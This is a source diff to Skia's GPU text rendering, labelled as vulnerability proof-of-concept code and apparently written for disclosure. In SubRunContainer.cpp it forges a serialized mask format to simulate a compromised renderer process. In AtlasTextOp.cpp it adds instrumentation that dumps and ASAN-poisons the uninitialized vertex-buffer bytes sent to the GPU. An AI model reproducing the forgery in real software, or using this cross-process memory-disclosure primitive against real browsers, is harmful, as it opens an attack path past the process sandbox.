diff --git a/src/gpu/ganesh/ops/AtlasTextOp.cpp b/src/gpu/ganesh/ops/AtlasTextOp.cpp index 27e919e2600..5603dd76483 100644 --- a/src/gpu/ganesh/ops/AtlasTextOp.cpp +++ b/src/gpu/ganesh/ops/AtlasTextOp.cpp @@ -7,6 +7,8 @@ #include "src/gpu/ganesh/ops/AtlasTextOp.h" +#include // POC: __asan_poison_memory_region +#include // POC: getpid() #include "include/core/SkRRect.h" #include "include/core/SkSamplingOptions.h" #include "include/core/SkSurfaceProps.h" @@ -590,8 +592,66 @@ void AtlasTextOp::onPrepareDraws(GrMeshDrawTarget* target) { return; } + // ==== POC: GPU-PROCESS UNDERWRITE OBSERVATION ==== + // Purely observational instrumentation; no security gate is + // changed. It surfaces the SDF GP-stride / fill-stride mismatch + // that an MSAN build would report as use-of-uninitialized-value + // when these bytes are uploaded to the GPU vertex buffer. + char* pocDst = vertices + quadCursor * quadSize; + int pocAlloc = quadSize * glyphsRegenerated; + // Seed with a recognisable sentinel so we can prove exactly which + // bytes fillVertexData left untouched. + for (int i = 0; i < pocAlloc; i++) pocDst[i] = (char)0xCC; + geo->fillVertexData(vertices + quadCursor * quadSize, subRunCursor, glyphsRegenerated); + { + SkMatrix pocPM = geo->fDrawMatrix; + pocPM.preTranslate(geo->fDrawOrigin.x(), geo->fDrawOrigin.y()); + int pocFillStride = + (int)glyphData.vertexStride(subRun.maskFormat(), pocPM); + if (pocFillStride != vertexStride && glyphsRegenerated > 0) { + int pocFilled = + pocFillStride * kVerticesPerGlyph * glyphsRegenerated; + int pocLeaked = pocAlloc - pocFilled; + int pocSentinel = 0; + for (int i = pocFilled; i < pocAlloc; i++) { + if ((unsigned char)pocDst[i] == 0xCC) pocSentinel++; + } + // Hex-dump first 64B of the unwritten tail into one buffer. + char hex[64 * 3 + 8] = {0}; + int hp = 0; + for (int i = 0; i < std::min(64, pocLeaked); i++) { + hp += snprintf(hex + hp, sizeof(hex) - hp, "%02x ", + (unsigned char)pocDst[pocFilled + i]); + } + SkDebugf( + "POC[gpu pid=%d]: SDF VERTEX UNDERWRITE\n" + " GP vertexStride = %d B/vertex (DistanceField GeoProc)\n" + " fill vertexStride = %d B/vertex (vf.maskFormat=%d ARGB)\n" + " glyphs = %d\n" + " bytes allocated = %d\n" + " bytes written by fill = %d\n" + " UNINITIALIZED bytes = %d (sentinel-verified=%d)\n" + " unwritten tail [0..64] = %s\n" + " -> these %d bytes of stale GrVertexBufferAllocPool " + "memory are uploaded to the GPU and read by the SDF " + "shader as inPosition/inColor/inTextureCoords\n" + " -> poisoning region %p..%p; ASAN will fault when " + "the upload path reads it\n", + (int)getpid(), vertexStride, pocFillStride, + (int)subRun.maskFormat(), glyphsRegenerated, pocAlloc, + pocFilled, pocLeaked, pocSentinel, hex, pocLeaked, + (void*)(pocDst + pocFilled), (void*)(pocDst + pocAlloc)); + // Hand the proof to ASAN: poison the unwritten tail so the + // very next consumer (GrBufferAllocPool::flushCpuData / + // glBufferSubData / draw) is reported as + // "use-after-poison" with a full stack trace. + __asan_poison_memory_region(pocDst + pocFilled, pocLeaked); + } + } + // ==== END POC INSTRUMENTATION ==== + subRunCursor += glyphsRegenerated; quadCursor += glyphsRegenerated; allGlyphsCursor += glyphsRegenerated; diff --git a/src/text/gpu/SubRunContainer.cpp b/src/text/gpu/SubRunContainer.cpp index bd5f827cc93..d843fa71d16 100644 --- a/src/text/gpu/SubRunContainer.cpp +++ b/src/text/gpu/SubRunContainer.cpp @@ -7,6 +7,7 @@ #include "src/text/gpu/SubRunContainer.h" +#include // POC: getpid() #include "include/core/SkCanvas.h" #include "include/core/SkDrawable.h" #include "include/core/SkFont.h" @@ -985,7 +986,21 @@ protected: buffer.writeInt(fAntiAliased); fMatrixRange.flatten(buffer); fGlyphVector.flatten(buffer); - flatten_vertex_filler(buffer, fVertexFiller); + // ==== POC: COMPROMISED-RENDERER FORGE ==== + // doFlatten() executes only on the serialization (renderer) side. + // A real attacker that controls the renderer process can put any byte + // here. We simulate that by emitting maskFormat=kARGB (2) instead of + // the legitimate kA8 (0) that SDFTSubRun::Make hard-codes. Everything + // else (strike, glyph IDs, leftTop, creationMatrix) is left valid so + // that the GPU-side deserializer accepts the blob. + SkDebugf("POC[renderer pid=%d]: forging SDFTSubRun maskFormat=kARGB " + "(%d glyphs)\n", + (int)getpid(), fGlyphVector.glyphCount()); + buffer.writeInt(static_cast(skgpu::MaskFormat::kARGB)); // forged + buffer.writeBool(fVertexFiller.canDrawDirect()); + buffer.writeMatrix(fVertexFiller.creationMatrix()); + buffer.writePointArray(fVertexFiller.topLefts()); + // ==== END FORGE ==== } private: